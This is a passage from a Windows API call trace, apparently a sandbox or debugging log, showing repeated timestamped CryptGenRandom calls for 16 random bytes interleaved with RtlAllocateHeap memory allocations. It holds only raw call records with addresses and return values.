dwLen=0x10, pbBuffer=0x3646e94 | out: pbBuffer=0x3646e94) returned 1 [0233.967] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x3622688 [0233.967] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34a4ec8 [0233.972] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x3679714 | out: pbBuffer=0x3679714) returned 1 [0233.972] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x3622750 [0233.972] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34a3df0 [0234.514] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x36793a4 | out: pbBuffer=0x36793a4) returned 1 [0234.515] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x3622818 [0234.515] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34a4288 [0234.781] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x367964c | out: pbBuffer=0x367964c) returned 1 [0234.781] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x3622a70 [0234.781] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34a4ec8 [0234.837] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x367973c | out: pbBuffer=0x367973c) returned 1 [0235.432] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x3679084 | out: pbBuffer=0x3679084) returned 1 [0235.432] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x3622688 [0235.437] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x3679b9c | out: pbBuffer=0x3679b9c) returned 1 [0235.437] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x3622750 [0235.437] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34a54e8 [0235.443] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x3679804 | out: pbBuffer=0x3679804) returned 1 [0235.443] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x3622818 [0235.443] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34a3028 [0235.447] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x3679b24 | out: pbBuffer=0x3679b24) returned 1 [0235.447] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x3622688 [0235.447] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34a4720 [0235.451] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x3679c14 | out: pbBuffer=0x3679c14) returned 1 [0235.451] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x3622b38 [0235.451] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34a34c0 [0235.454] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x367969c | out: pbBuffer=0x367969c) returned 1 [0235.454] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x3622b38 [0235.454] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34a34c0 [0235.465] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x3679d04 | out: pbBuffer=0x3679d04) returned 1 [0235.466] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x3622688 [0235.466] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34a34c0 [0235.479] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x3679494 | out: pbBuffer=0x3679494) returned 1 [0235.479] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x36225c0 [0235.479] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34a2ea0 [0235.483] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x3679e94 | out: pbBuffer=0x3679e94) returned 1 [0235.483] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x36229a8 [0235.483] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34a5e18 [0235.487] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x3679afc | out: pbBuffer=0x3679afc) returned 1 [0235.487] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x3622818 [0235.494] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x367987c | out: pbBuffer=0x367987c) returned 1 [0235.498] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x3679f0c | out: pbBuffer=0x3679f0c) returned 1 [0235.498] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x36229a8 [0235.498] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34a3ae0 [0235.503] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x3679e1c | out: pbBuffer=0x3679e1c) returned 1 [0235.503] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x3622a70 [0235.503] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34a5360 [0235.521] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x3679944 | out: pbBuffer=0x3679944) returned 1 [0235.521] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x36229a8 [0235.521] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34a5e18 [0235.561] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x367955c | out: pbBuffer=0x367955c) returned 1 [0235.561] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x36229a8 [0235.561] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34a5e18 [0235.581] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x3679674 | out: pbBuffer=0x3679674) returned 1 [0235.581] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x3622b38 [0235.587] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x366896c | out: pbBuffer=0x366896c) returned 1 [0235.591] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x366850c | out: pbBuffer=0x366850c) returned 1 [0235.591] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x3622750 [0235.591] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34a5e18 [0235.595] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x3668444 | out: pbBuffer=0x3668444) returned 1 [0235.595] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x36229a8 [0235.595] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34a3ae0 [0235.600] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x3668b24 | out: pbBuffer=0x3668b24) returned 1 [0235.600] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x3622750 [0235.600] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34a5980 [0235.603] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x36683f4 | out: pbBuffer=0x36683f4) returned 1 [0235.609] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x36688cc | out: pbBuffer=0x36688cc) returned 1 [0235.609] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x3622750 [0235.609] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34a5980 [0235.635] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x3668b74 | out: pbBuffer=0x3668b74) returned 1 [0235.635] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x3622a70 [0235.635] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34a4410 [0235.642] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x36683cc | out: pbBuffer=0x36683cc) returned 1 [0235.642] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x3622b38 [0235.642] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34a4ec8 [0235.669] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x3668174 | out: pbBuffer=0x3668174) returned 1 [0235.669] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x3622688 [0235.669] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34a4ec8 [0235.675] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x36684e4 | out: pbBuffer=0x36684e4) returned 1 [0235.675] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x3622688 [0235.675] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34a3df0 [0235.690] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x366846c | out: pbBuffer=0x366846c) returned 1 [0235.690] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x3622a70 [0235.690] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34a3958 [0235.695] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x36681ec | out: pbBuffer=0x36681ec) returned 1 [0235.703] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x3668cdc | out: pbBuffer=0x3668cdc) returned 1 [0235.703] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x3622b38 [0235.704] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34a5e18 [0235.723] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x3668534 | out: pbBuffer=0x3668534) returned 1 [0235.724] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x3622688 [0235.724] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34a5360 [0235.728] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x3668ad4 | out: pbBuffer=0x3668ad4) returned 1 [0235.728] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x3622750 [0235.728] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34a4410 [0235.734] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x36689bc | out: pbBuffer=0x36689bc) returned 1 [0235.746] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x366882c | out: pbBuffer=0x366882c) returned 1 [0235.746] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x36229a8 [0235.746] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34a4288 [0235.752] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x366864c | out: pbBuffer=0x366864c) returned 1 [0235.752] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x36225c0 [0235.752] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34a4100 [0235.766] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x3668b9c | out: pbBuffer=0x3668b9c) returned 1 [0235.766] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x3622a70 [0235.766] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34a31b0 [0235.807] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x3668d54 | out: pbBuffer=0x3668d54) returned 1 [0235.808] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x3622688 [0235.808] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34a4a30 [0235.817] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x36681c4 | out: pbBuffer=0x36681c4) returned 1 [0235.817] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x36229a8 [0235.817] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34a31b0 [0235.862] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x3668cb4 | out: pbBuffer=0x3668cb4) returned 1 [0235.862] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x36225c0 [0235.862] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34a3028 [0235.898] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x3668aac | out: pbBuffer=0x3668aac) returned 1 [0235.898] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x36229a8 [0235.898] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34a37d0 [0235.904] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x36683a4 | out: pbBuffer=0x36683a4) returned 1 [0235.904] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x3622b38 [0235.904] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34a5050 [0235.991] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x366828c | out: pbBuffer=0x366828c) returned 1 [0235.991] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x3622a70 [0235.991] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34a5e18 [0235.995] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x3668fd4 | out: pbBuffer=0x3668fd4) returned 1 [0236.015] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x3668df4 | out: pbBuffer=0x3668df4) returned 1 [0236.015] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x36229a8 [0236.015] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34a5050 [0236.045] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x3674584 | out: pbBuffer=0x3674584) returned 1 [0236.045] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x3622688 [0236.045] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34a4ec8 [0236.048] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x3668264 | out: pbBuffer=0x3668264) returned 1 [0236.048] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x3622818 [0236.058] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34a5050 [0236.064] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x3668ee4 | out: pbBuffer=0x3668ee4) returned 1 [0236.069] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x3668804 | out: pbBuffer=0x3668804) returned 1 [0236.070] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x3622b38 [0236.070] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34a4ec8 [0236.077] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x366819c | out: pbBuffer=0x366819c) returned 1 [0236.087] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x3668e94 | out: pbBuffer=0x3668e94) returned 1 [0236.087] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x3622a70 [0236.087] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34a3c68 [0236.091] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x3668f34 | out: pbBuffer=0x3668f34) returned 1 [0236.092] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x3622a70 [0236.092] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34a51d8 [0236.118] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x3655ad4 | out: pbBuffer=0x3655ad4) returned 1 [0236.118] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x3622b38 [0236.132] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x36688f4 | out: pbBuffer=0x36688f4) returned 1 [0236.132] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x3622a70 [0236.132] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34a3ae0 [0236.137] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x366837c | out: pbBuffer=0x366837c) returned 1 [0236.137] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x36229a8 [0236.137] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34a3ae0 [0236.144] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x36552dc | out: pbBuffer=0x36552dc) returned 1 [0236.144] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x3622688 [0236.144] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34a4ec8 [0236.147] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x3471624 | out: pbBuffer=0x3471624) returned 1 [0236.150] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x34719bc | out: pbBuffer=0x34719bc) returned 1 [0236.150] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x3622a70 [0236.150] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34a4100 [0236.156] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x3655f5c | out: pbBuffer=0x3655f5c) returned 1 [0236.156] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x3622b38 [0236.157] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34a34c0 [0236.160] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x3130674 | out: pbBuffer=0x3130674) returned 1 [0236.160] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x3622818 [0236.160] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34a4410 [0236.167] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x347150c | out: pbBuffer=0x347150c) returned 1 [0236.168] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x36229a8 [0236.168] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34a5e18 [0236.173] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x366432c | out: pbBuffer=0x366432c) returned 1 [0236.173] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x3622688 [0236.173] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34a4ec8 [0236.181] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x3466264 | out: pbBuffer=0x3466264) returned 1 [0236.181] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x3622750 [0236.181] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34a34c0 [0236.198] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x3664624 | out: pbBuffer=0x3664624) returned 1 [0236.202] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x3664f0c | out: pbBuffer=0x3664f0c) returned 1 [0236.202] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x3622b38 [0236.202] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34a3ae0 [0236.207] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x3664a0c | out: pbBuffer=0x3664a0c) returned 1 [0236.207] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x3622750 [0236.207] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34a3df0 [0236.211] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x3664ad4 | out: pbBuffer=0x3664ad4) returned 1 [0236.215] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x3664cdc | out: pbBuffer=0x3664cdc) returned 1 [0236.215] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x3622b38 [0236.215] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34a5e18 [0236.220] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x3664b24 | out: pbBuffer=0x3664b24) returned 1 [0236.220] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x3622750 [0236.220] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34a34c0 [0236.224] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x36644bc | out: pbBuffer=0x36644bc) returned 1 [0236.224] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x3622b38 [0236.224] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34a4100 [0236.231] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x346637c | out: pbBuffer=0x346637c) returned 1 [0236.231] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x36229a8 [0236.257] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x313055c | out: pbBuffer=0x313055c) returned 1 [0236.258] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x3466264 | out: pbBuffer=0x3466264) returned 1 [0236.258] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x36552dc | out: pbBuffer=0x36552dc) returned 1 [0236.258] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x36229a8 [0236.269] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x3668bc4 | out: pbBuffer=0x3668bc4) returned 1 [0236.269] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x3655ee4 | out: pbBuffer=0x3655ee4) returned 1 [0236.269] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x3622818 [0236.269] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34a5980 [0236.269] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x36688f4 | out: pbBuffer=0x36688f4) returned 1 [0236.270] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x36225c0 [0236.270] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34a4ec8 [0236.270] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x3655f5c | out: pbBuffer=0x3655f5c) returned 1 [0236.270] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x3622b38 [0236.270] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34a5670 [0236.270] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x366837c | out: pbBuffer=0x366837c) returned 1 [0236.271] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x3622750 [0236.271] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34a34c0 [0236.271] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x366819c | out: pbBuffer=0x366819c) returned 1 [0236.271] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x3622a70 [0236.271] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34a4598 [0236.271] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x3668854 | out: pbBuffer=0x3668854) returned 1 [0236.271] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x3622a70 [0236.271] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34a5360 [0236.280] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x3655f84 | out: pbBuffer=0x3655f84) returned 1 [0236.280] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x3622818 [0236.280] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34a5e18 [0236.280] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x3668f34 | out: pbBuffer=0x3668f34) returned 1 [0236.280] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x36225c0 [0236.280] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34a5980 [0236.281] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x36559bc | out: pbBuffer=0x36559bc) returned 1 [0236.281] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x3622818 [0236.281] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34a5e18 [0236.281] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x3668dcc | out: pbBuffer=0x3668dcc) returned 1 [0236.281] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x3622818 [0236.281] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34a4ec8 [0236.282] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x3655ad4 | out: pbBuffer=0x3655ad4) returned 1 [0236.282] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x3622b38 [0236.282] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34a5980 [0236.282] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x3668f84 | out: pbBuffer=0x3668f84) returned 1 [0236.282] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x3622750 [0236.282] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34a4ec8 [0236.283] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x3668e1c | out: pbBuffer=0x3668e1c) returned 1 [0236.283] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 